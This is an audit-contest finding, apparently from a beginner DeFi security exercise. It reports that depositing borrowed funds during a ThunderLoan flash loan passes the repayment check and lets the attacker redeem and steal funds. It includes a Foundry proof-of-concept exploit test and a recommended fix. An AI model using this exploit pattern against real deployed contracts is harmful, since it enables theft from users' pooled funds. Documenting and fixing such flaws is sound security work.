Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Flawed logic allows theft of funds

Summary

Malicious users can exploit flash loan offering.

Vulnerability Details

To ensure the flashloan has been repaid, thunderLoan checks that the assetToken contract's balance of the underlying token exceeds the pre-loan value (+ the fee).

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

However, if during the flash loan transaction the attacker deposits the amount loaned - this if statement will be satisfied, and the attacker could then call redeem to steal funds.

As a POC, add the following functions to the test file:

function testFlashLoanThenDeposit() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
vm.startPrank(user);
tokenA.mint(address(this), calculatedFee);
uint256 contractTokenABalancePre = tokenA.balanceOf(address(this));
console.log("CONTRACT TOKEN A BALANCE PRE EXPLOIT = ", contractTokenABalancePre);
thunderLoan.flashloan(address(this), tokenA, amountToBorrow, "");
vm.stopPrank();
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
uint256 contractAssetTokenBalance = asset.balanceOf(address(this));
console.log("CONTRACT ASSET TOKEN BALANCE PRE REDEMPTION = ", contractAssetTokenBalance);
thunderLoan.redeem(tokenA, contractAssetTokenBalance);
uint256 contractTokenABalance = tokenA.balanceOf(address(this));
console.log("CONTRACT TOKEN A BALANCE POST EXPLOIT = ", contractTokenABalance);
assert(contractTokenABalancePre < contractTokenABalance);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
tokenA.approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(tokenA, amount + fee);
thunderLoan.repay(tokenA, amount + fee);
return true;
}

Impact

Theft of funds

Tools Used

Manual review

Recommendations

Revert if the total supply of the assetToken has increased during the flashloan transaction.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.